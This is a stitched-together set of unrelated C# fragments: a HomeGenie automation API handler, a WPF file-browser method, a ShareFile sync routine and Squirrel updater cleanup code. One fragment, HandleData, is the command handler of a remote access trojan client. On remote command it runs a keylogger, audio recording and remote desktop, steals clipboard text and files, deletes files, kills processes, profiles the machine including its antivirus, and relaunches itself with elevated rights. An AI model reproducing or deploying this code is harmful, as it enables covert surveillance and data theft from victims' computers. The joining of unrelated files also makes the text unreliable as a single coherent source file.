ProgramBlock(); p.Address = program.Address; p.Name = program.Name; p.Description = program.Description; newProgramList.Add(p); } } newProgramList.Sort(delegate(ProgramBlock p1, ProgramBlock p2) { string c1 = p1.Address.ToString(); string c2 = p2.Address.ToString(); return(c1.CompareTo(c2)); }); migCommand.Response = JsonConvert.SerializeObject(newProgramList); } else if (migCommand.GetOption(0) == "System.ConfigurationRestoreS2") { // var serializer = new XmlSerializer(typeof(List <Group>)); var reader = new StreamReader(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "automationgroups.xml")); var automationGroups = (List <Group>)serializer.Deserialize(reader); reader.Close(); // foreach (var automationGroup in automationGroups) { if (homegenie.AutomationGroups.Find(g => g.Name == automationGroup.Name) == null) { homegenie.AutomationGroups.Add(automationGroup); } } // homegenie.UpdateGroupsDatabase("Automation"); // //File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "automationgroups.xml"), "./automationgroups.xml", true); File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "groups.xml"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "groups.xml"), true); File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "lircconfig.xml"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "lircconfig.xml"), true); File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "modules.xml"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "modules.xml"), true); File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "systemconfig.xml"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "systemconfig.xml"), true); // homegenie.LoadConfiguration(); // // Restore automation programs string selectedPrograms = migCommand.GetOption(1); serializer = new XmlSerializer(typeof(List <ProgramBlock>)); reader = new StreamReader(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "programs.xml")); var newProgramsData = (List <ProgramBlock>)serializer.Deserialize(reader); reader.Close(); foreach (var program in newProgramsData) { var currentProgram = homegenie.ProgramEngine.Programs.Find(p => p.Address == program.Address); // Only restore user space programs if (selectedPrograms.Contains("," + program.Address.ToString() + ",") && program.Address >= ProgramEngine.USER_SPACE_PROGRAMS_START) { if (currentProgram == null) { var newPid = ((currentProgram != null && currentProgram.Address == program.Address) ? homegenie.ProgramEngine.GeneratePid() : program.Address); try { File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "programs", program.Address + ".dll"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "programs", newPid + ".dll"), true); } catch { } program.Address = newPid; homegenie.ProgramEngine.ProgramAdd(program); } else if (currentProgram != null) { homegenie.ProgramEngine.ProgramRemove(currentProgram); try { File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "programs", program.Address + ".dll"), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "programs", program.Address + ".dll"), true); } catch { } homegenie.ProgramEngine.ProgramAdd(program); } } else if (currentProgram != null && program.Address < ProgramEngine.USER_SPACE_PROGRAMS_START) { // Only restore Enabled/Disabled status of system programs currentProgram.IsEnabled = program.IsEnabled; } } // homegenie.UpdateProgramsDatabase(); // // regenerate encrypted files homegenie.UpdateModulesDatabase(); homegenie.SystemConfiguration.Update(); } else if (migCommand.GetOption(0) == "System.ConfigurationReset") { homegenie.RestoreFactorySettings(); } else if (migCommand.GetOption(0) == "System.ConfigurationBackup") { homegenie.BackupCurrentSettings(); (request.Context as HttpListenerContext).Response.Redirect("/hg/html/homegenie_backup_config.zip"); } else if (migCommand.GetOption(0) == "System.ConfigurationLoad") { homegenie.LoadConfiguration(); } break; case "Modules.Get": try { var module = homegenie.Modules.Find(m => m.Domain == migCommand.GetOption(0) && m.Address == migCommand.GetOption(1)); migCommand.Response = Utility.Module2Json(module, false); } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Modules.List": try { homegenie.modules_Sort(); migCommand.Response = homegenie.GetJsonSerializedModules(migCommand.GetOption(0).ToLower() == "short"); } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Modules.RoutingReset": try { for (int m = 0; m < homegenie.Modules.Count; m++) { homegenie.Modules[m].RoutingNode = ""; } migCommand.Response = "OK"; } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Modules.Save": string body = new StreamReader(request.InputStream).ReadToEnd(); var newModules = JsonConvert.DeserializeObject(body) as JArray; for (int i = 0; i < newModules.Count; i++) { try { var module = homegenie.Modules.Find(m => m.Address == newModules[i]["Address"].ToString() && m.Domain == newModules[i]["Domain"].ToString()); module.Name = newModules[i]["Name"].ToString(); // try { module.DeviceType = (MIG.ModuleTypes)Enum.Parse(typeof(MIG.ModuleTypes), newModules[i]["DeviceType"].ToString(), true); } catch { // TODO: check what's wrong here... } // var moduleProperties = newModules[i]["Properties"] as JArray; for (int p = 0; p < moduleProperties.Count; p++) { string propertyName = moduleProperties[p]["Name"].ToString(); string propertyValue = moduleProperties[p]["Value"].ToString(); ModuleParameter parameter = null; parameter = module.Properties.Find(delegate(ModuleParameter mp) { return(mp.Name == propertyName); }); // if (propertyName == ModuleParameters.MODPAR_VIRTUALMETER_WATTS) { try { propertyValue = double.Parse(propertyValue.Replace(",", "."), System.Globalization.CultureInfo.InvariantCulture).ToString(); } catch { propertyValue = "0"; } } // if (parameter == null) { module.Properties.Add(new ModuleParameter() { Name = propertyName, Value = propertyValue }); } else //if (true) { if (moduleProperties[p]["NeedsUpdate"] != null && moduleProperties[p]["NeedsUpdate"].ToString() == "true") { parameter.Value = propertyValue; } } } } catch (Exception) { //TODO: notify exception? } } homegenie.UpdateModulesDatabase();//write modules break; case "Modules.Update": string streamContent = new StreamReader(request.InputStream).ReadToEnd(); var newModule = JsonConvert.DeserializeObject <Module>(streamContent); var currentModule = homegenie.Modules.Find(p => p.Domain == newModule.Domain && p.Address == newModule.Address); // if (currentModule == null) { homegenie.Modules.Add(newModule); } else { currentModule.Name = newModule.Name; currentModule.Description = newModule.Description; currentModule.DeviceType = newModule.DeviceType; //cm.Properties = mod.Properties; foreach (var newParameter in newModule.Properties) { var currentParameter = currentModule.Properties.Find(mp => mp.Name == newParameter.Name); if (currentParameter == null) { currentModule.Properties.Add(newParameter); } else if (newParameter.NeedsUpdate) { currentParameter.Value = newParameter.Value; } } // look for deleted properties var deletedParameters = new List <ModuleParameter>(); foreach (var parameter in currentModule.Properties) { var currentParameter = newModule.Properties.Find(mp => mp.Name == parameter.Name); if (currentParameter == null) { deletedParameters.Add(parameter); } } foreach (var parameter in deletedParameters) { currentModule.Properties.Remove(parameter); } deletedParameters.Clear(); } // homegenie.UpdateModulesDatabase(); break; case "Modules.Delete": var deletedModule = homegenie.Modules.Find(m => m.Domain == migCommand.GetOption(0) && m.Address == migCommand.GetOption(1)); if (deletedModule != null) { homegenie.Modules.Remove(deletedModule); } migCommand.Response = JsonHelper.GetSimpleResponse("OK"); // homegenie.UpdateModulesDatabase(); break; case "Groups.ModulesList": var theGroup = homegenie.Groups.Find(z => z.Name.ToLower() == migCommand.GetOption(0).Trim().ToLower()); if (theGroup != null) { string jsonmodules = "["; for (int m = 0; m < theGroup.Modules.Count; m++) { var groupModule = homegenie.Modules.Find(mm => mm.Domain == theGroup.Modules[m].Domain && mm.Address == theGroup.Modules[m].Address); if (groupModule != null) { jsonmodules += Utility.Module2Json(groupModule, false) + ",\n"; } } jsonmodules = jsonmodules.TrimEnd(',', '\n'); jsonmodules += "]"; migCommand.Response = jsonmodules; } break; case "Groups.List": try { migCommand.Response = JsonConvert.SerializeObject(homegenie.GetGroups(migCommand.GetOption(0))); } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Groups.Rename": string oldName = migCommand.GetOption(1); string newName = new StreamReader(request.InputStream).ReadToEnd(); var currentGroup = homegenie.GetGroups(migCommand.GetOption(0)).Find(g => g.Name == oldName); var newGroup = homegenie.GetGroups(migCommand.GetOption(0)).Find(g => g.Name == newName); // ensure that the new group name is not already defined if (newGroup == null && currentGroup != null) { currentGroup.Name = newName; homegenie.UpdateGroupsDatabase(migCommand.GetOption(0)); //cmd.response = JsonHelper.GetSimpleResponse("OK"); } else { migCommand.Response = JsonHelper.GetSimpleResponse("New name already in use."); } /* * try * { * cmd.response = JsonConvert.SerializeObject(cmd.option.ToLower() == "automation" ? _automationgroups : _controlgroups); * } * catch (Exception ex) * { * cmd.response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; * } */ break; case "Groups.Sort": using (var reader = new StreamReader(request.InputStream)) { var newGroupList = new List <Group>(); string[] newPositionOrder = reader.ReadToEnd().Split(new[] { ';' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < newPositionOrder.Length; i++) { newGroupList.Add(homegenie.GetGroups(migCommand.GetOption(0))[int.Parse(newPositionOrder[i])]); } homegenie.GetGroups(migCommand.GetOption(0)).Clear(); homegenie.GetGroups(migCommand.GetOption(0)).RemoveAll(g => true); homegenie.GetGroups(migCommand.GetOption(0)).AddRange(newGroupList); homegenie.UpdateGroupsDatabase(migCommand.GetOption(0)); } // try { migCommand.Response = JsonConvert.SerializeObject(homegenie.GetGroups(migCommand.GetOption(0))); } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Groups.SortModules": using (var reader = new StreamReader(request.InputStream)) { string groupName = migCommand.GetOption(1); Group sortGroup = null; try { sortGroup = homegenie.GetGroups(migCommand.GetOption(0)).Find(zn => zn.Name == groupName); } catch { } // if (sortGroup != null) { var newModulesReference = new List <ModuleReference>(); string[] newPositionOrder = reader.ReadToEnd().Split(new[] { ';' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < newPositionOrder.Length; i++) { newModulesReference.Add(sortGroup.Modules[int.Parse(newPositionOrder[i])]); } sortGroup.Modules.Clear(); sortGroup.Modules = newModulesReference; homegenie.UpdateGroupsDatabase(migCommand.GetOption(0)); } } try { migCommand.Response = JsonConvert.SerializeObject(homegenie.GetGroups(migCommand.GetOption(0))); } catch (Exception ex) { migCommand.Response = "ERROR: \n" + ex.Message + "\n\n" + ex.StackTrace; } break; case "Groups.Add": string newGroupName = new StreamReader(request.InputStream).ReadToEnd(); homegenie.GetGroups(migCommand.GetOption(0)).Add(new Group() { Name = newGroupName }); homegenie.UpdateGroupsDatabase(migCommand.GetOption(0));//write groups break; case "Groups.Delete": string deletedGroupName = new StreamReader(request.InputStream).ReadToEnd(); Group deletedGroup = null; try { deletedGroup = homegenie.GetGroups(migCommand.GetOption(0)).Find(zn => zn.Name == deletedGroupName); } catch { } // if (deletedGroup != null) { homegenie.GetGroups(migCommand.GetOption(0)).Remove(deletedGroup); homegenie.UpdateGroupsDatabase(migCommand.GetOption(0));//write groups if (migCommand.GetOption(0).ToLower() == "automation") { var groupPrograms = homegenie.ProgramEngine.Programs.FindAll(p => p.Group.ToLower() == deletedGroup.Name.ToLower()); if (groupPrograms != null) { // delete group association from programs foreach (ProgramBlock program in groupPrograms) { program.Group = ""; } } } } break; case "Groups.Save": string jsonGroups = new StreamReader(request.InputStream).ReadToEnd(); var newGroups = JsonConvert.DeserializeObject <List <Group> >(jsonGroups); for (int i = 0; i < newGroups.Count; i++) { try { var group = homegenie.Groups.Find(z => z.Name == newGroups[i].Name); group.Modules.Clear(); group.Modules = newGroups[i].Modules; } catch { } } homegenie.UpdateGroupsDatabase(migCommand.GetOption(0));//write groups break; } }
/// <summary> /// 获取指定目录的下一级目录 /// </summary> /// <param name="flodername">文件名称</param> public void GetChildDirectory(string new_path) { try { //判断是否双击的硬盘分区,采用判断当前路径是否为空 if (str_current_path == "") { new_path = new_path.Substring(0, 3); } //先打开目录 DirectoryInfo dir = new DirectoryInfo(new_path); DirectoryInfo[] dir_arr = dir.GetDirectories();//获取当前目录的子目录 string str_name = "", str_date = "", str_ty = ""; list_info.Clear(); //逐一获取子目录的信息 foreach (DirectoryInfo subDir in dir_arr) { str_name = subDir.Name; str_date = string.Format("{0:yyyy/MM/dd HH:mm}", subDir.LastWriteTime); if (subDir.Exists) { str_ty = "文件夹"; } else { str_ty = "未知子目录"; } list_info.Add(new FileNode(false, str_name, str_date, str_ty, "", str_icon_path + "folder.png")); } FileInfo[] file_arr = dir.GetFiles();//获取当前目录的文件 string[] str_tmp; string str_tmp_icon_name = ""; foreach (FileInfo subFile in file_arr) { str_name = subFile.Name; str_date = string.Format("{0:yyyy/MM/dd HH:mm}", subFile.LastWriteTime); long kbsize = subFile.Length / 1024; //获取文件大小 str_tmp_icon_name = "_blank.png"; //设置文件图标默认路径 str_tmp = str_name.Split('.'); if (str_tmp.Count() > 1) { str_ty = str_tmp[str_tmp.Count() - 1].ToLower(); } else { str_ty = "未知文件"; } //获取图标路径 if (str_ty != "未知文件") { if (Icon_path.ContainsKey(str_ty))//判断是否存在相应的键 { str_tmp_icon_name = Icon_path[str_ty]; } } str_tmp = null; list_info.Add(new FileNode(false, str_name, str_date, str_ty, kbsize.ToString() + " KB", str_icon_path + str_tmp_icon_name)); } //this.dataGrid_Info.DataContext = list_info; str_current_path = new_path; //新目录为当前目录 this.txt_Current_Path.Text = str_current_path; //显示当前路径 //将返回上一级按钮更改为可使用 if (!this.btn_last_path.IsEnabled) { this.btn_last_path.IsEnabled = true; } choose_model = 1; CheckBoxStatusRemove(); //MenuItem_MultiSelect.Header = "多选"; //根据查看方式改变数据 if (str_view_type == "listview_big") { foreach (FileNode fn in list_info) { fn.ImgHW = 75; } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } }
private static void HandleData(byte[] RawData) { if (ReceivingFile) { try { File.WriteAllBytes(FileToWrite, RawData); string Directory = CurrentDirectory; if (Directory.Equals("BaseDirectory")) { Directory = Path.GetPathRoot(Environment.SystemDirectory); } string Files = string.Empty; DirectoryInfo DI = new DirectoryInfo(Directory); foreach (var F in DI.GetDirectories()) { Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]"; } foreach (FileInfo F in DI.GetFiles()) { Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" + F.CreationTime + "]"; } List <byte> ToSend = new List <byte>(); ToSend.Add(5); //File List Type ToSend.AddRange(Encoding.ASCII.GetBytes(Files)); Networking.MainClient.Send(ToSend.ToArray()); ToSend.Clear(); ToSend.Add(1); //Notification Type ToSend.AddRange( Encoding.ASCII.GetBytes("The file " + Path.GetFileName(FileToWrite) + " was uploaded.")); Networking.MainClient.Send(ToSend.ToArray()); } catch { } ReceivingFile = false; return; } string StringForm = string.Empty; try { StringForm = Encoding.ASCII.GetString(RawData); Console.WriteLine("Command Recieved From " + ClientSettings.DNS + " (" + StringForm + ")"); } catch { } if (StringForm == "KillClient") { if (ChatThread.ThreadState == ThreadState.Running) { CloseChatForm(); } UninstallClient(); try { Process.GetCurrentProcess().Kill(); } catch { Environment.Exit(0); } } else if (StringForm == "DisconnectClient") { Networking.MainClient.Disconnect(); } else if (StringForm == "ShowClientConsole") { var handle = GetConsoleWindow(); ShowWindow(handle, SW_SHOW); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("Console has been shown to client.")); Networking.MainClient.Send(ToSend.ToArray()); } else if (StringForm.Contains("MsgBox")) { string ToBreak = GetSubstringByString("(", ")", StringForm); string Text = GetSubstringByString("<", ">", ToBreak); string Header = GetSubstringByString("[", "]", ToBreak); string ButtonString = GetSubstringByString("{", "}", ToBreak); string IconString = GetSubstringByString("/", @"\", ToBreak); MessageBoxButtons MBB = MessageBoxButtons.OK; MessageBoxIcon MBI = MessageBoxIcon.None; #region Button & Icon conditional statements if (ButtonString.Equals("Abort Retry Ignore")) { MBB = MessageBoxButtons.AbortRetryIgnore; } else if (ButtonString.Equals("OK")) { MBB = MessageBoxButtons.OK; } else if (ButtonString.Equals("OK Cancel")) { MBB = MessageBoxButtons.OKCancel; } else if (ButtonString.Equals("Retry Cancel")) { MBB = MessageBoxButtons.RetryCancel; } else if (ButtonString.Equals("Yes No")) { MBB = MessageBoxButtons.YesNo; } else if (ButtonString.Equals("Yes No Cancel")) { MBB = MessageBoxButtons.YesNoCancel; } if (IconString.Equals("Asterisk")) { MBI = MessageBoxIcon.Asterisk; } else if (IconString.Equals("Error")) { MBI = MessageBoxIcon.Error; } else if (IconString.Equals("Exclamation")) { MBI = MessageBoxIcon.Exclamation; } else if (IconString.Equals("Hand")) { MBI = MessageBoxIcon.Hand; } else if (IconString.Equals("Information")) { MBI = MessageBoxIcon.Information; } else if (IconString.Equals("None")) { MBI = MessageBoxIcon.None; } else if (IconString.Equals("Question")) { MBI = MessageBoxIcon.Question; } else if (IconString.Equals("Stop")) { MBI = MessageBoxIcon.Stop; } else if (IconString.Equals("Warning")) { MBI = MessageBoxIcon.Warning; } #endregion Button & Icon conditional statements MessageBox.Show(Text, Header, MBB, MBI); } else if (StringForm.Equals("StartRD")) { RemoteDesktopStream.Start(); } else if (StringForm.Equals("StopRD")) { RemoteDesktopStream.Stop(); } else if (StringForm.Equals("GetProcesses")) { Process[] PL = Process.GetProcesses(); List <string> ProcessList = new List <string>(); foreach (Process P in PL) { ProcessList.Add("{" + P.ProcessName + "}<" + P.Id + ">[" + P.MainWindowTitle + "]"); } string[] StringArray = ProcessList.ToArray <string>(); List <byte> ToSend = new List <byte>(); ToSend.Add(3); //Process List Type string ListString = ""; foreach (string Process in StringArray) { ListString += "][" + Process; } ToSend.AddRange(Encoding.ASCII.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); } else if (StringForm.Contains("EndProcess(")) { string ToEnd = GetSubstringByString("(", ")", StringForm); try { Process P = Process.GetProcessById(Convert.ToInt16(ToEnd)); string Name = P.ProcessName; P.Kill(); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("The process " + P.ProcessName + " was killed.")); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Contains("OpenWebsite(")) { string ToOpen = GetSubstringByString("(", ")", StringForm); try { Process.Start(ToOpen); } catch { } List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("The website " + ToOpen + " was opened.")); Networking.MainClient.Send(ToSend.ToArray()); } else if (StringForm.Equals("GetComputerInfo")) { string ListString = ""; List <string> ComputerInfoList = new List <string>(); ComputerInfo.GetGeoInfo(); ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName()); ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country); ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName); ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add(4); //Information Type ToSend.AddRange(Encoding.ASCII.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); } else if (StringForm.Equals("RaisePerms")) { Process P = new Process(); P.StartInfo.FileName = ExecutablePath; P.StartInfo.UseShellExecute = true; P.StartInfo.Verb = "runas"; List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("Client is restarting in administration mode.")); P.Start(); Networking.MainClient.Send(ToSend.ToArray()); Environment.Exit(0); } else if (StringForm.Contains("GetDF{")) { try { string Directory = GetSubstringByString("{", "}", StringForm); if (Directory.Equals("BaseDirectory")) { Directory = Path.GetPathRoot(Environment.SystemDirectory); } string Files = string.Empty; DirectoryInfo DI = new DirectoryInfo(Directory); foreach (var F in DI.GetDirectories()) { Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]"; } foreach (FileInfo F in DI.GetFiles()) { Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" + F.CreationTime + "]"; } List <byte> ToSend = new List <byte>(); ToSend.Add(5); //File List Type ToSend.AddRange(Encoding.ASCII.GetBytes(Files)); Networking.MainClient.Send(ToSend.ToArray()); CurrentDirectory = Directory; ToSend.Clear(); ToSend.Add(6); //Current Directory Type ToSend.AddRange(Encoding.ASCII.GetBytes(CurrentDirectory)); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Contains("GoUpDir")) { try { List <byte> ToSend = new List <byte>(); ToSend.Add(7); //Directory Up Type CurrentDirectory = Directory.GetParent(CurrentDirectory).ToString(); ToSend.AddRange(Encoding.ASCII.GetBytes(CurrentDirectory)); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Contains("GetFile")) { try { string FileString = GetSubstringByString("{", "}", StringForm); byte[] FileBytes; using (FileStream FS = new FileStream(FileString, FileMode.Open)) { FileBytes = new byte[FS.Length]; FS.Read(FileBytes, 0, FileBytes.Length); } List <byte> ToSend = new List <byte>(); ToSend.Add(8); //File Type ToSend.AddRange(FileBytes); Networking.MainClient.Send(ToSend.ToArray()); } catch (Exception EX) { List <byte> ToSend = new List <byte>(); ToSend.Add(1); ToSend.AddRange(Encoding.ASCII.GetBytes("Error Downloading: " + EX.Message + ")")); Networking.MainClient.Send(ToSend.ToArray()); } } else if (StringForm.Contains("StartFileReceive{")) { try { FileToWrite = GetSubstringByString("{", "}", StringForm); var Stream = File.Create(FileToWrite); Stream.Close(); ReceivingFile = true; } catch { } } else if (StringForm.Contains("TryOpen{")) { string ToOpen = GetSubstringByString("{", "}", StringForm); try { Process.Start(ToOpen); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("The file " + Path.GetFileName(ToOpen) + " was opened.")); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Contains("DeleteFile{")) { try { string ToDelete = GetSubstringByString("{", "}", StringForm); File.Delete(ToDelete); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange( Encoding.ASCII.GetBytes("The file " + Path.GetFileName(ToDelete) + " was deleted.")); Networking.MainClient.Send(ToSend.ToArray()); string Directory = CurrentDirectory; if (Directory.Equals("BaseDirectory")) { Directory = Path.GetPathRoot(Environment.SystemDirectory); } string Files = string.Empty; DirectoryInfo DI = new DirectoryInfo(Directory); foreach (var F in DI.GetDirectories()) { Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]"; } foreach (FileInfo F in DI.GetFiles()) { Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" + F.CreationTime + "]"; } ToSend.Clear(); ToSend.Add(5); //File List Type ToSend.AddRange(Encoding.ASCII.GetBytes(Files)); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Equals("GetClipboard")) { try { string ClipboardText = "Clipboard is empty or contains an invalid data type."; Thread STAThread = new Thread( delegate() { if (Clipboard.ContainsText(TextDataFormat.Text)) { ClipboardText = Clipboard.GetText(TextDataFormat.Text); } }); STAThread.SetApartmentState(ApartmentState.STA); STAThread.Start(); STAThread.Join(); List <byte> ToSend = new List <byte>(); ToSend.Add(9); //Clipboard Text Type ToSend.AddRange(Encoding.ASCII.GetBytes(ClipboardText)); Networking.MainClient.Send(ToSend.ToArray()); } catch { } } else if (StringForm.Equals("StartUsageStream")) { HardwareUsageStream.Start(); } else if (StringForm.Equals("StopUsageStream")) { HardwareUsageStream.Stop(); } else if (StringForm.Equals("StartKL")) { KeyloggerStream.Start(); } else if (StringForm.Equals("StopKL")) { KeyloggerStream.Stop(); } else if (StringForm.Equals("StartAR")) { if (!ARActive) { RecordAudio(); } } else if (StringForm.Equals("StopAR")) { if (ARActive) { StopRecordAudio(); } } else if (StringForm.Equals("OpenChat")) { if (!CActive) { CActive = true; CI = new ChatInterface(); ChatThread.Start(); } } else if (StringForm.Equals("CloseChat")) { if (CActive) { CActive = false; Networking.ChatClosing = true; Thread.Sleep(200); CloseChatForm(); } } else if (StringForm.Contains("[<MESSAGE>]")) { Networking.CurrentMessage = StringForm.Replace("[<MESSAGE>]", ""); } else if (StringForm.Equals("ToggleAntiProcess")) { if (!APDisabled) { APDisabled = true; AntiProcess.StartBlock(); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("Started Anti-Process.")); Networking.MainClient.Send(ToSend.ToArray()); } else if (APDisabled) { APDisabled = false; AntiProcess.StopBlock(); List <byte> ToSend = new List <byte>(); ToSend.Add(1); //Notification Type ToSend.AddRange(Encoding.ASCII.GetBytes("Stopped Anti-Process.")); Networking.MainClient.Send(ToSend.ToArray()); } } }
/// <summary> /// Delete sharefile contents on Strict flag to make exact copy of source /// </summary> private void DeleteSharefileStrictRecursive(ShareFileClient client, DirectoryInfo source, Item target) { var children = client.Items.GetChildren(target.url).Execute(); var directories = source.GetDirectories(); var files = source.GetFiles(); foreach (var child in children.Feed) { bool found = false; if (child is Models.Folder) { foreach (DirectoryInfo directory in directories) { if (directory.Name.Equals(child.Name)) { DeleteSharefileStrictRecursive(client, directory, child); found = true; } } } else if (child is Models.File) { foreach (FileInfo file in files) { if (file.Name.Equals(child.Name)) { found = true; break; } } } if (!found) { RemoveShareFileItem(client, child); } } //foreach (DirectoryInfo directory in directories) //{ // foreach (var child in children.Feed) // { // if (child is Models.Folder && child.Name.Equals(directory.Name)) // { // DeleteLocalStrictRecursive(client, child, directory); // break; // } // } //} //foreach (FileInfo file in files) //{ // bool found = false; // foreach (var child in children.Feed) // { // if (child is Models.File && child.Name.Equals(file.Name)) // { // found = true; // } // } // if (!found) // { // RemoveLocalItem(file); // } //} }
// NB: Once we uninstall the old version of the app, we try to schedule // it to be deleted at next reboot. Unfortunately, depending on whether // the user has admin permissions, this can fail. So as a failsafe, // before we try to apply any update, we assume previous versions in the // directory are "dead" (i.e. already uninstalled, but not deleted), and // we blow them away. This is to make sure that we don't attempt to run // an uninstaller on an already-uninstalled version. async Task cleanDeadVersions(SemanticVersion originalVersion, SemanticVersion currentVersion, bool forceUninstall = false) { if (currentVersion == null) { return; } var di = new DirectoryInfo(rootAppDirectory); if (!di.Exists) { return; } this.Log().Info("cleanDeadVersions: for version {0}", currentVersion); string originalVersionFolder = null; if (originalVersion != null) { originalVersionFolder = getDirectoryForRelease(originalVersion).Name; this.Log().Info("cleanDeadVersions: exclude folder {0}", originalVersionFolder); } string currentVersionFolder = null; if (currentVersion != null) { currentVersionFolder = getDirectoryForRelease(currentVersion).Name; this.Log().Info("cleanDeadVersions: exclude folder {0}", currentVersionFolder); } // NB: If we try to access a directory that has already been // scheduled for deletion by MoveFileEx it throws what seems like // NT's only error code, ERROR_ACCESS_DENIED. Squelch errors that // come from here. var toCleanup = di.GetDirectories() .Where(x => x.Name.ToLowerInvariant().Contains("app-")) .Where(x => x.Name != currentVersionFolder && x.Name != originalVersionFolder) .Where(x => !isAppFolderDead(x.FullName)); if (forceUninstall == false) { await toCleanup.ForEachAsync(async x => { var squirrelApps = SquirrelAwareExecutableDetector.GetAllSquirrelAwareApps(x.FullName); var args = String.Format("--squirrel-obsolete {0}", x.Name.Replace("app-", "")); if (squirrelApps.Count > 0) { // For each app, run the install command in-order and wait await squirrelApps.ForEachAsync(async exe => { using (var cts = new CancellationTokenSource()) { cts.CancelAfter(10 * 1000); try { await Utility.InvokeProcessAsync(exe, args, cts.Token); } catch (Exception ex) { this.Log().ErrorException("Coudln't run Squirrel hook, continuing: " + exe, ex); } } }, 1 /* at a time */); } }); } // Include dead folders in folders to :fire: toCleanup = di.GetDirectories() .Where(x => x.Name.ToLowerInvariant().Contains("app-")) .Where(x => x.Name != currentVersionFolder && x.Name != originalVersionFolder); // Finally, clean up the app-X.Y.Z directories await toCleanup.ForEachAsync(async x => { try { await Utility.DeleteDirectoryOrJustGiveUp(x.FullName); if (Directory.Exists(x.FullName)) { // NB: If we cannot clean up a directory, we need to make // sure that anyone finding it later won't attempt to run // Squirrel events on it. We'll mark it with a .dead file markAppFolderAsDead(x.FullName); } } catch (UnauthorizedAccessException ex) { this.Log().WarnException("Couldn't delete directory: " + x.FullName, ex); // NB: Same deal as above markAppFolderAsDead(x.FullName); } }); // Clean up the packages directory too var releasesFile = Utility.LocalReleaseFileForAppDir(rootAppDirectory); var entries = ReleaseEntry.ParseReleaseFile(File.ReadAllText(releasesFile, Encoding.UTF8)); var pkgDir = Utility.PackageDirectoryForAppDir(rootAppDirectory); var releaseEntry = default(ReleaseEntry); foreach (var entry in entries) { if (entry.Version == currentVersion) { releaseEntry = ReleaseEntry.GenerateFromFile(Path.Combine(pkgDir, entry.Filename)); continue; } File.Delete(Path.Combine(pkgDir, entry.Filename)); } ReleaseEntry.WriteReleaseFile(new[] { releaseEntry }, releasesFile); }
